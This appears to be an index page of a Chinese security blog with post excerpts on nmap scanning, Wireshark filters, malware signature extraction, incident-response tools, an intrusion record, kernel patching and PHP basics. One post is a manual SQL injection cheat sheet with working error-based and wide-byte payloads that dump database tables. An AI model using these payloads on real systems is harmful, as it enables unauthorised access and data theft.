Keep and carry on.
post @ 2018-02-22

#nmap 识别系统及开放端口

nmap中文手册

Nmap功能

Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。

###Nmap价值
Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。

1
2
3
Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。 “所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。状态可能是 open(开放的),filtered(被过滤的), closed(关闭的),或者unfiltered(未被过滤的)。 Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。 filtered(被过滤的) 意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知 它是 open(开放的) 还是 closed(关闭的)。 closed(关闭的) 端口没有应用程序在它上面监听,但是他们随时可能开放。 当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是 unfiltered(未被过滤的) 如果Nmap报告状态组合 open|filtered 和 closed|filtered时,那说明Nmap无法确定该端口处于两个状态中的哪一个状态。 当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时 (-sO),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。
除了所感兴趣的端口表,Nmap还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。

1、一个典型的Nmap扫描

在这个例子中,唯一的选项是-A, 用来进行操作系统及其版本的探测,-T4 可以加快执行速度,接着是两个目标主机名。

1
nmap -A -T4 scanme.nmap.org playground

2、主机发现

主机发现,有时候也叫ping扫描,用户完全可以通过使用列表扫描(-sL)或者 通过关闭ping (-P0)跳过ping的步骤,也可以使用多个端口把TCP SYN/ACK,UDP和ICMP 任意组合起来玩一玩。这些探测的目的是获得响应以显示某个IP地址是否是活动的(正在被某 主机或者网络设备使用)。 在许多网络上,在给定的时间,往往只有小部分的IP地址是活动的。 这种情况在基于RFC1918的私有地址空间如10.0.0.0/8尤其普遍。 那个网络有16,000,000个IP,但我见过一些使用它的公司连1000台机器都没有。 主机发现能够找到零星分布于IP地址海洋上的那些机器。

3、扫描所有端口

1
nmap -p 1-65535 -T4 -A -v 101.236.62.2

4、 操作系统检测

当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认 进行这种匹配,使用上述任一个选项使得Nmap的推测更加有效。[也可以使用-A来同时启用操作系统检测和版本检测]

1
nmap -O 101.236.62.2
Read More
post @ 2018-02-21

SQL手工注入技巧总结

在安全测试的时候,很多厂商都做了waf拦截或源码防护,这时候就需要我们去发现一些工具做不到的点进行手工注入。

基于报错的注入

分为两种,直接填入表达式报错,或使用外层表达式报错时返回被嵌套的子查询的结果

e.g

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#Mysql
Where id=1 and !(Select * from (select user())x)-~0; //Big Int Overflow(大整数溢出报错)
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
#Mssql
?id=@@version
#Oracle
1=2 or 1=ordsys.ord_dicom.getmappingxpath({SQL in HERE},'a','b');
1=2 or 1=ctxsys.ctx_query.chk_xpath(user,'a','b');
123 and 1=utl_inaddr.get_host_name/address(({SQL in HERE}))
123 and 1=ctxsys.drithsx.sn(1,(SQL in HERE))
' or 1=decode((select length(user) from dual),6,1,(select char(39) from dual));

宽字节注入

一般情况下,常规检测不行的时候,如果确定有注入,如CTF,就可以考虑宽字节注入。

测试是否是宽字节注入使用%df'即可。

1
******/index.php?id=2%df'

出现报错信息,确定为宽字节注入,接下来就可以使用常规步骤注入。

1
2
3
4
5
******/index.php?id=2%bf' order by num %23 #爆字段长度
******/index.php?id=2%bf' union select 1,2,3 %23 #爆显示位
******/index.php?id=2%bf' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) %23 #爆数据库信息
******/index.php?id=2%bf' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7361655f757365725f73716c6934) %23 #爆字段
/index.php?id=2%bf' union select 1,2,(select group_concat(title_1,content_1) from sae_user_sqli4) %23 #c成功脱库
Read More
post @ 2018-02-20

信息分析/日志记录

应急入门

当电脑遇到问题,不知如何解决?

可自行分析日志,或将日志上传,让大家帮忙分析。

0x10 Windows事件查看器

排除问题的必备工具:

事件查看

系统安全分析工具:

ESET SysInspector

非常详尽的系统安全信息分析,左上角可根据安全等级筛选。若遇到安全问题不知如何解决,可导出日志后发到论坛求助。

注意 :中国站此工具万年不更,给的链接为国际站。“Select operating system”选择你的操作系统,“Select language”选择“简体字”,“Download”下载。下载后全中文界面。

导出日志方式:

为了尽可能减少提交日志带来的隐私困扰,你可以这样:
1、右上角“文件”→生成→适用于进行发送,SysInspector将重新分析;
2、文件 → 保存日志;
3、将日志上传到要求助的区域。

0x20 备用

0x21 Windows系统信息

Run:msinfo32

0x22 PC Hunter

官网:http://www.xuetr.com/
http://www.52pojie.cn/thread-35336-1-1.html
http://bbs.kafan.cn/thread-384301-1-1.html
爱盘下载:http://down.52pojie.cn/Tools/Anti_Rootkit/PCHunter_free.zip
主流工具。教程很多,如:http://jingyan.baidu.com/album/36d6ed1f5ebae61bce488360.html

0x23 HiJackThis

安全检查软件

知名开源的安全检查软件,趋势旗下,可导出日志(英文)。

0x24 AutoRun

微软Sysinternals出品的非常详尽、强大的启动项分析工具。在比较有经验的情况下,该工具可帮助你揪出可疑启动项。感谢lixihong10提醒。
汉化版请自行搜寻。

【官网】https://technet.microsoft.com/en-us/sysinternals/bb963902
【爱盘】http://down.52pojie.cn/Tools/Anti_Rootkit/Autoruns.exe

0x25 FreeFixer

将各种可疑项目分析后列出,帮助解决问题。
简介:http://bbs.kafan.cn/thread-1854362-1-1.html

Down:http://www.freefixer.com/

进程类工具

ox3o Windows进程管理器

1、Ctrl+Shift+Esc #启动任务管理器

2、Ctrl+Shift+Del #在Vista之后为:安全桌面,可进行锁屏/关机/紧急重启.

在线行为检测

0x41 火眼(金山)

fireeye.ijinshan.com
优点:分析环境配置切合大众,近期重心偏向移动端;
缺点:分析时间长,PC端样本分析暂时不如下述两家;

0x42 哈勃(腾讯)

habo.qq.com
优点:分析快速,信息丰富;VirusScan的行为分析便是对接于此;

0x43 VirusBook

https://www.virusbook.cn/
非常有特点的在线分析工具,包含网站、IP/文件等分析,注重可视化。不过,行为分析不太成熟,期待发展。

国外:
来源自卡饭/吾爱破解 样本区。楼主没用过,欢迎大家提供更多信息。

在线扫描

可疑文件在线扫描(适合扫描一个或几个文件):

  • VirSCAN
    http://virscan.org/
    数十款杀软扫描报告,国内可正常使用。但其病毒库更新比较滞后;

  • VirusTotal
    http://www.virustotal.com/
    更新更及时,厂商数量多,提供病毒样本统计等交流平台。但是在谷歌旗下,国内可能不能正常访问。

Read More
post @ 2018-02-18

Security Event Record

1、被木马远程控制并感染了飞客蠕虫

1、被木马远程控制

​ 该主机与恶意地址162.212.255.179的TCP9527建立连接,并向其发送包含操作系统、主机名、CPU主频、内存等信息的木马上线数据包。

[PSH,ACK] Seq=1 Ack=1 Win=65535 Len 364

2、感染飞客蠕虫

​ 该办公主机通过请求恶意域名anam0rph.su、orzdwjtvmein.in、ygiudewsqhct.in、bdcrqgonzmwuehky.nl、xdqzpbcgrvkj.ru、somicrososoft.ru获取多个控制端地址195.38.137.100、195.157.15.100、52.28.249.128、176.58.104.168。

与获取到的控制端建立控制通信。其中有飞客蠕虫典型网络行为特征POST /in.php。如下图所示。


###2、1台服务器(IP地址:10.190.112.143)已被境外僵尸网络控制

对电子政务外网多个IP网段进行MS08-067漏洞扫描攻击,并对蒲江县资源中心另一台服务器(IP地址:10.190.112.142)进行Eraseme后门操作,存在严重网络安全风险。

1、通过域名获得C&C服务器地址

​ 蒲江县资源中心的1台服务器(IP地址:10.190.112.143)通过请求恶意域名mail.vspcord.com获取境外C&C服务器IP地址212.61.180.10(荷兰)。如图-1所示。

2、使用IRC协议上线

该服务器通过TCP555端口使用IRC协议上线。如图-2所示。

Read More

病毒分析流程及特征提取

0x10 病毒分析的过程

0x11 样本分析

0x12 行为分析

0x13 查杀方法

##0x20 病毒特征的提取

0x21 为什么要提取病毒特征?

简单而直白:最直接的判断所感染的东西是否为病毒,为了更好的对病毒进行查杀。

0x22 病毒特征提取的方法

0x220 利用哈希值作为病毒的特征

比如计算出病毒的MD5,这样只要遇到相同MD5的文件,就可以将其判定为病毒,这也是目前云查杀所倚重的方式。
这种方式最大的缺点是,病毒与特征之间是一对一的关系,即便病毒仅仅发生了一个字节的变化,那么这个特征也就失效了。

0x221 选取病毒内部的特征字符串

比如“熊猫烧香”里面的whboy还有其它一些特色字符,只要发现目标程序中有这些字符,则判定为病毒。这种方式相对于利用哈希值作为特征,具有更好的通杀性,但是如果病毒作者修改了自身的名称,那也就能够轻易躲避掉这种查杀方式了。

0x222 双重校验和

其实这种方法类似于上述方法的集合,也就是在病毒文件内部选取两个位置(这两个位置可以是特色字符也可以是特色代码),计算这两段位置的哈希值作为特征。这种方法的好处是,不论选取多长的特征,那么最终生成的哈希值是固定的,这样就便于存储。

0x223 选取病毒内部的特色代码

事实上0到2这几种方式,都是比较初级的方法,接下来以几个实列,说明怎么才是一个相对较好的病毒特征。

实列一

有位朋友在文章的最后,选取了这样一条特征码:

1
2
3
Ghijkl Nopqrstu Wxy #特征值
4768696A6B6C204E6F70717273747520577879 #对应的hex

其实这条特征选取的就是病毒体内的特色字符串,将其转化为ASCII码的形式作为特征。但是这类以病毒“名称”作为特征的方法,最大的问题是通用性不好,病毒只要稍微修改一下自身的名称,那么这条特征也就失效了。利用病毒名称作为特征,也仅仅是比利用哈希值作为特征要稍微强一些。而我们其实还是希望能够利用最少的特征匹配到更多的文件,要具备通用性,还要尽可能地没有误报。所以可以考虑利用病毒体内比较有特色的代码作为特征,举例来说,对于这个病毒而言,它有这样一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.00403651: C645F84F mov b,[ebp][-8],04F ;'O'
.00403655: C645F970 mov b,[ebp][-7],070 ;'p'
.00403659: C645FA65 mov b,[ebp][-6],065 ;'e'
.0040365D: C645FB6E mov b,[ebp][-5],06E ;'n'
#下面一段
.00403899: C645A457 mov b,[ebp][-05C],057 ;'W'
.0040389D: C645A572 mov b,[ebp][-05B],072 ;'r'
.004038A1: C645A669 mov b,[ebp][-05A],069 ;'i'
.004038A5: C645A774 mov b,[ebp][-059],074 ;'t'
.004038A9: C645A865 mov b,[ebp][-058],065 ;'e'
.004038AD: C645A946 mov b,[ebp][-057],046 ;'F'
.004038B1: C645AA69 mov b,[ebp][-056],069 ;'i'
.004038B5: C645AB6C mov b,[ebp][-055],06C ;'l'
.004038B9: C645AC65 mov b,[ebp][-054],065 ;'e'

特征选取

其实这里就可以把第一段代码中的C645F84FC645F970C645FA65C645FB6E作为特征。

通用性考虑

考虑到通用性,还需要把地址,比如“b,[ebp][-8]”中的“[-8]”,也就是十六进制的F8利用通配符代替,因此这条特征最终可以这样写:

C645??4FC645??70C645??65C645??6E

那么这就是一条通杀性比较强的特征了。

在我每天分析的病毒样本中,利用这种逐个字符放到缓冲区的情况,还是比较常见的,因此这是非常好的特征,能够应对千千万万的未知病毒了。
这个木马中类似的写法还有不少,可以多提取几条,用“or”连接。假设程序中一共有五个地方采用了这种形式,那么可以取舍一下,比如出现三次就报毒,这样通杀性就更强了。
另外,如果程序是利用自己发明的算法生成的文件名,那么这个算法所对应的十六进制代码,也可以提取出来作为特征,这也是很强的特征。可以很好地查杀这一类的木马病毒。而且一般来说还不会造成误报。
当然了,这种方法有个前提,就是目标文件没有被加壳,如果是加壳的情况,那么就需要结合自动脱壳程序或者sandbox来首先脱壳,再进行特征提取并查杀了。
这里既然提到了sandbox,那么我还想讲讲另一种动态的查杀方法,也就是结合sandbox所跑出来的日志文件,选取合适的特征。举个例子来说,之前遇到过一种叫做“永恒之石”的勒索病毒,可以跑出类似这样一段日志:

1
2
3
4
5
6
7
8
System.IO.Directory.CreateDirectory("C:\\Program Files\\Microsoft Updates")
...
System.String.Intern()["\\svchost.exe"]
...
System.String.Concat()["C:\\Program Files\\Microsoft Updates\\svchost.exe"]
...
Stetem.IO.FileExists("C:\\Program Files\\Microsoft Updates\\svchost.exe")
...

这段日志所监控到的是,病毒在C:\Program Files\目录里面创建了名为Microsoft Updates的文件夹,然后在其中又创建了名为svchost.exe的文件(实际上svchost.exe就是病毒自身复制过去隐藏的)。其实这就是非常可疑的行为了,正常程序不会这么干,那么就可以写出这样的特征:

1
2
3
4
5
createDir = System.IO.Directory.CreateDirectory("C:\Program Files\Microsoft Updates")
createFile = System.String.Concat()["C:\Program Files\Microsoft Updates\svchost.exe"]
Detect = **createDir -> createFile

也就是只要出现Detect这样的序列,那么就直接报毒了。当然了,为了严谨起见,可以多选取几个类似于这样的特征。
以上就是我在实际工作中积累的一些经验,希望能够对大家有所帮助。

Read More
post @ 2018-02-16

Wireshark 过滤规则

ox10 IP过滤

查找目的地址为192.168.101.8的包:

ip.dst==192.168.101.8

查找源地址为

ip.src==1.1.1.1

0x20 端口过滤

过滤80端口,在Filter中输入,tcp.port==80,这条规则是把源端口和目的端口为80的都过滤出来。使用tcp.dstport==80只过滤目的端口为80的,tcp.srcport==80只过滤源端口为80的包。

0x21 过滤端口范围

如过滤端口从1到80:

tcp.port >= 1 and tcp.port <= 80

0x30 协议过滤

协议过滤比较简单,直接在Filter框中直接输入协议名即可,如过滤HTTP的协议直接输入http;过滤TCP直接输入TCP即可。

【常用协议】

1
tcp udp icmp http smtp ftp dns ssl arp ip #排除arp包,可以使用!arp

ox40 http模式过滤

如过滤get包,http.request.method=="GET",过滤post包,http.request.method=="POST"

1
2
3
4
5
6
7
8
9
10
11
12
13
http.request.uri == "/img/logo-edu.gif"
http contains "GET"
http contains "HTTP/1."
#GET包
http.request.method == "GET" && http contains "Host:"
http.request.method == "GET" && http contains "User-Agent:"
#POST包
http.request.method == "POST" && http contains "Host:"
http.request.method == "POST" && http contains "User-Agent:"
#响应包
http contains "HTTP/1.1 200 OK" && http contains "Content-Type:"
http contains "HTTP/1.0 200 OK" && http contains "Content-Type:"
#一定包含"Content-Type:"

0x50 连接符and

过滤两种条件时,使用and连接

【如过滤ip为192.168.101.8 并且为http协议】 ip.src==192.168.101.8 and http

【如过滤ip为178.16.11.5 并且为tcp协议】ip.src==178.16.11.5 and tcp

0x60 mac过滤

【过滤目标mac为 A0:00:00:04:C5:84】 eth.dst == A0:00:00:04:C5:84

【过滤来源mac为 A0:00:00:04:C5:84】eth.src eq A0:00:00:04:C5:84

【过滤来源MAC和目标MAC都等于 A0:00:00:04:C5:84】 eth.addr eq A0:00:00:04:C5:84

0x70 包长过滤

udp.length == 26 【 这个长度是指udp本身固定长度8加上udp下面那块数据包之和】

tcp.len >= 7 【 指的是ip数据包(tcp下面那块数据),不包括tcp本身】

ip.len == 94 【除了以太网头固定长度14,其它都算是ip.len,即从ip本身到最后】

0x80 TCP参数过滤

tcp.flags 【 显示包含TCP标志的封包】
tcp.flags.syn == 0x02 【 显示包含TCP SYN标志的封包】
tcp.window_size == 0 && tcp.flags.reset != 1

0x90 包内容过滤

tcp[20:8] 表示从20开始,取8个字符
故内容过滤规则如下

1
2
3
4
5
6
tcp[offset,n]
udp[8:3]==81:60:03 #偏移8个bytes,再取3个数,是否与==后面的数据相等
#如:判断udp下面哪块数据包的前三个是否等于 0x20 0x21 0x22
udp[8:3]==20:21:22 #udp固定长度为8,故以8为起点
#再如,判断TCP下三块数是否为 0x20 0x21 0x22
tcp[20:3]==20:21:22 #tcp通常情况下,长度为20,不是20的时候,我们需要先得到tcp长度

0x10 DHCP

注意:DHCP协议的检索规则不是dhcp/DHCP, 而是bootp

以寻找伪造DHCP服务器为例,介绍Wireshark的用法。在显示过滤器中加入过滤规则,

显示所有非来自DHCP服务器(IP:192.168.1.1)并且bootp.type==0x02(Offer/Ack/NAK)的信息:

1
bootp.type==0x02 and not ip.src==192.168.1.1

0x11 msn

1
2
3
4
5
6
7
8
9
10
msnms && tcp[20:3]=="USR" # 找到命令编码是USR的数据包
msnms && tcp[20:3]=="MSG" # 找到命令编码是MSG的数据包
#如何判断数据包是含有命令编码的MSN数据包?
/**
tcp.port == 1863 || tcp.port == 80 #端口为1863或者80
tcp[20:1] >= 41 && tcp[20:1] <= 5A && tcp[21:1] >= 41 && tcp[21:1] <= 5A && tcp[22:1] >= 41 && tcp[22:1] <= 5A #数据这段前三个是大写字母
tcp[23:1] == 20 #第四个为0x20
**/

msn 属于TCP协议 见

MSN Messenger 协议分析

MSN 协议分析

更详细的说明

0x00 字符串语法

wireshark字符串过虑语法字符

0x10 搜索条件过滤udp payload

搜索按条件过滤udp的数据段payload(数字8是表示udp头部有8个字节,数据部分从第9个字节开始udp[8:])

1
2
3
4
udp[8]==14 # (14是十六进制0x14)匹配payload第一个字节0x14的UDP数据包
udp[8:2]==14:05 可以udp[8:2]==1405 #且只支持2个字节连续,三个以上须使用冒号:分隔表示十六进制。 (相当于 udp[8]==14 and udp[9]==05,1405是0x1405)
udp[8:3]==22:00:f7 #不可以udp[8:3]==2200f7
udp[8:4]==00:04:00:2a #匹配payload的前4个字节0x0004002a

而udp contains 7c:7c:7d:7d 匹配payload中含有0x7c7c7d7d的UDP数据包,不一定是从第一字节匹配。

1
2
3
udp[8:4] matches "\\x14\\x05\\x07\\x18"
udp[8:] matches "^\\x14\\x05\\x07\\x18\\x14"

0x20 搜索条件过滤的tcp payload

搜索按条件过滤tcp的数据段payload(数字20是表示tcp头部有20个字节,数据部分从第21个字节开始tcp[20:])

1
2
3
4
5
6
7
8
9
tcp[20:] matches "^GET [ -~]*HTTP/1.1\\x0d\\x0a" #等同http matches ^GET [ -~]*HTTP/1.1\\x0d\\x0a"
tcp[20:] matches "^GET (.*?)HTTP/1.1\\x0d\\x0a"
tcp[20:] matches "^GET (.*?)HTTP/1.1\\x0d\\x0a[\\x00-\\xff]*Host: (.*?)pplive(.*?)\\x0d\\x0a"
tcp[20:] matches "^GET (.*?)HTTP/1.1\\x0d\\x0a[\\x00-\\xff]*Host:"
tcp[20:] matches "^POST / HTTP/1.1\\x0d\\x0a[\\x00-\\xff]*\\x0d\\x0aConnection: Keep-Alive\\x0d\\x0a\\x0d\\x0a"

检测SMB头的smb标记,指明smb标记从tcp头部第24byte的位置开始匹配。

1
tcp[24:4] == ff:53:4d:42

检测SMB头的smb标记,tcp的数据包含十六进制ff:53:4d:42,从tcp头部开始搜索此数据。

1
2
3
tcp contains ff:53:4d:42
tcp matches "\\xff\\x53\\x4d\\x42"

检测tcp含有十六进制01:bd,从tcp头部开始搜索此数据。

1
tcp matches "\\x01\\xbd"

检测MS08067的RPC请求路径

1
2
3
tcp[179:13] == 00:5c:00:2e:00:2e:00:5c:00:2e:00:2e:00
\ . . \ . .

0x30 end

http.request.uri matches ".gif$" 匹配过滤HTTP的请求URI中含有”.gif”字符串,并且以.gif结尾(4个字节)的http请求数据包($是正则表达式中的结尾表示符)

注意区别:http.request.uri contains ".gif$"与此不同,contains是包含字符串”.gif$”(5个字节)。匹配过滤HTTP的请求URI中含有”.gif$”字符串的http请求数据包(这里$是字符,不是结尾符)

eth.addr[0:3]==00:1e:4f搜索过滤MAC地址前3个字节是0x001e4f的数据包。

i春秋-Wireshark实战video

Read More
post @ 2018-02-05

0x00 include() 、require()语句包含并运行指定文件。

这两结构在包含文件上完全一样,唯一的区别是对于错误的处理。

  • require()语句在遇到包含文件不存在,或是出错的时候,就停止即行,并报错。
  • include()则继续即行。

    Eg:

    1
    2
    3
    4
    include('hello.php');
    echo 'include test final!';//include报错,但是会继续执行,显示:include test final!
    require('hello.php');
    echo 'require test final!';//require报错,停止代码的执行。
  • 总结

1.include() 产生一个警告
2.require() 则导致一个致命错误

  • 如果你想在丢失文件时停止处理页面,那就别犹豫了,用 require() 。
  • include() 就不是这样,脚本会继续运行(同时也要确认设置了合适的include_path)。

注意:require() 无论如何都会包含文件,而include() 可以有选择地包含:

1
2
3
4
5
6
7
8
<?php
if(FALSE){
require('x.php');
}
if(FALSE){
include('s.php');
}
?>

上面的代码中:x.php 一定会被包含,而 s.php 一定不会被包含。

##0x01 二种方式提供不同的使用弹性:

require 的使用方法如 require("MyRequireFile.php"); 。这个函式通常放在 PHP 程式的最前面,PHP 程式在执行前,就会先读入 require 所指定引入的档案,使它变成 PHP 程式网页的一部份。

include 使用方法如include("MyIncludeFile.php"); 。这个函式一般是放在流程控制的处理区段中。PHP 程式网页在读到 include 的档案时,才将它读进来。这种方式,可以把程式执行时的流程简单化。

0x02 使用语法和简介

1、include()

语法:include(/path/to/filename)

include()语句将在其被调用的位置处包含一个文件。包含一个文件与在该语句所在位置复制制定文件的数据具有相同内容的效果。

使用include()时可以忽略括号。

可以根据条件来执行include()语句。在条件语句中使用include()有个怪现象,它必须包围在语句块大括号中,或者用其他语句包围符括起来。

2、include_once()

语法:include_once(filename)

  • include_once() 语句在脚本执行期间包含并运行指定文件。
  • 此行为和 include() 语句类似,唯一区别是include_once()会先判断一下这个文件在之前是否已经被包含过,如已经包含,则忽略本次包含。
  • include_once() 应该用于嵌套包含的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

小结:include_once()函数的作用与include相同,不过它会首先验证是否已经包含了该文件。如果已经包含,则不再执行include_once。否则,则必须包含该文件。除了这一点与include完全相同。

3、require()

语法:require(filename)

  • require()在很大程度上与include相同,都是将一个模板文件包含到require调用坐在的位置。
  • require和include之间有两点重要的区别。首先,无论require的位置如何,制定文件都将包含到出现require的脚本中。

    例如,即使require放在计算结果为假的if语句中,依然会包含指定文件。

4、require_once()

语法:require_once(filename)
require_once() 语句在脚本执行期间包含并运行指定文件。此行为和 require() 语句类似,唯一区别是require_once()会先判断一下这个文件在之前是否已经被包含过,如已经包含,则忽略本次包含。
require_once() 应该用于嵌套包含的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。

小结:随着网站越来越大,可能会出现重复包含某些文件。这也许不是问题,但又是修改了所包含文件的变量后,却由于后面再次包含原来的文件而被覆盖,可能不希望出现这种情况。还可能出现另一个问题,即所包含文件中函数名的冲突。使用require_once就可以解决这些问题。
require_once函数确保文件只包含一次。在遇到require_once后,后面再试图包含相同的文件时将被忽略。

0x03 区别总结

1、include()与require()语句区别。
两者区别:这两种结构除了在如何处理失败之外完全一样。

注意在 PHP 4.3.5 之前,包含文件中的语法错误不会导致程序停止,但从此版本之后会。

2、include_once()、require_once()与include()、require()的区别

include_once()require_once()一样,应该用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。这就是include_once()和require_once()与include() 和require()的主要区别。

0x04 需要注意的问题

1.路径问题

特别是嵌套包含的时候,一定得注意包含文件的路径。
比如 A文件包含了B文件,B文件包含了C文件,A,B,C文件都不在同一个文件夹下,这个时候往往很容易出错误。
解决方案:可以使用 dirname(FILE) 语句,这句的意思是获得当前脚本的绝对路径。如:

1
require_once(dirname(FILE).'/config.php');

2.效率问题

include_once(),require_once(),与include(),require()比较,效率要低一些,因为他们至少得先判断一下这个文件是否已包含。这一问题在PHP5版本有很大改进,不过效率还是有差别。

Read More
post @ 2017-11-27

#0x01 转化为CSV 通过phpmyadmin导入

可将EXCEL表保存为CSV格式,然后通过phpmyadmin或者SQLyog导入,SQLyog导入的方法为:

·将EXCEL表另存为CSV形式;

·打开SQLyog,对要导入的表格右击,点击“导入”-“导入使用加载本地CSV数据”;

·在弹出的对话框中,点击“改变..”,把选择“填写excel友好值”,点击确定;

·在“从文件导入”中选择要导入的CSV文件路径,点击“导入”即可导入数据到表上;

#0x02 转化为sql语句 通过mysql导入
一个比较笨的手工方法,就是先利用excel生成sql语句,然后再到mysql中运行,这种方法适用于excel表格导入到各类sql数据库:
·假设你的表格有A、B、C三列数据,希望导入到你的数据库中表格tablename,对应的字段分别是**co
在你的格中增加一列,利用excel的公式自动生成sql语句,具体方法如下:

1)增加一列(假设是D列)
2)在第一行的D列,就是D1中输入公式:

1
2
3
4
5
6
=CONCATENATE("insert into tablename (col1,col2,col3) values (",A1,",",B1,",",C1,");")``
3)此时D1已经生成了如下的sql语句:
insert into table (col1,col2,col3) values ('a','11','33');
4)将D1的公式复制到所有行的D列(就是用鼠标点住D1单元格的右下角一直拖拽下去啦)
5)此时D列已经生成了所有的sql语句
6)把D列复制到一个纯文本文件中,假设为sql.txt 把sqltxt放到数据库中运行即可,你可以用命令行导入,也可以用phpadmin运行。

#0x03 转化为Excel 通过NAVICAT 导入

  1. 新建excel表格,准备录入自己的数据。

  2. 录入要导入的数据,注意要与数据库的类型一致。

  3. 另存为txt文档,记得自己的命名。

  4. 打开txt文档,点击另存为,修改编码,解决中文utf8。

  5. 通过Navicat导入数据

Read More

今天收到了阿里云的短信,说是我的一台ECS有系统漏洞,吓得我赶紧去看了一下。

漏洞详情如下:

1
2
3
软件: 3.10.0-327.36.3.el7
命中: kernel version less than 0:3.10.0-693.el7
路径: /boot/.vmlinuz-3.10.0-327.36.3.el7.x86_64.hmac

##修复结果:

##修复步骤如下

1.明确自己的系统内核版本

uname -sr

如果版本低于Linux 3.10.0-693.5.el7.x86_64 ,请升级内核。此方法只说内核版本已最新,yum update提示No packages marked for update的情况。

2.查看旧内核版本

rpm -qa|grep kernel*

然后结果如下:

从上面能看到了云盾提示的安全风险的内核版本(还有一些低版本,我这里已经删除所以无法看到)
kernel–3.10.0-327.36.3.el7.x86_64
3.删除旧内核版本

yum remove kernel–3.10.0-327.36.3.el7.x86_64 kernel-3.10.0-514.21.1.el7.x86_64 kernel-devel-3.10.0-514.21.2.el7.x86_64

4.重启系统

利用rootq权限 重启系统或者在阿里云控制台实列重启

reboot

5.最后阿里云控制台验证漏洞修复结果

##总结:
1.平时更新系统后删除旧内核吧,保留一个上一版本的内核即可。
2.保持系统更新!

Read More
post @ 2017-11-17

#Burpsuite

参考:http://www.kali.org.cn/thread-21439-1-1.html

Burp suite 是利用本地代理结果所传送的数据包,运行之前需要安装JAVA环境。

kali下一班都是自带了Java环境,无需配置,可直接 java -version 查看版本。

1
2
3
4
@ChengKaoAo:/# java -version
openjdk version "1.8.0_121"
OpenJDK Runtime Environment (build 1.8.0_121-8u121-b13-4-b13)
OpenJDK 64-Bit Server VM (build 25.121-b13, mixed mode)

(1)先来配置个代理

(2)数据包截获

http://www.taobao.com 为栗

Read More
⬆︎TOP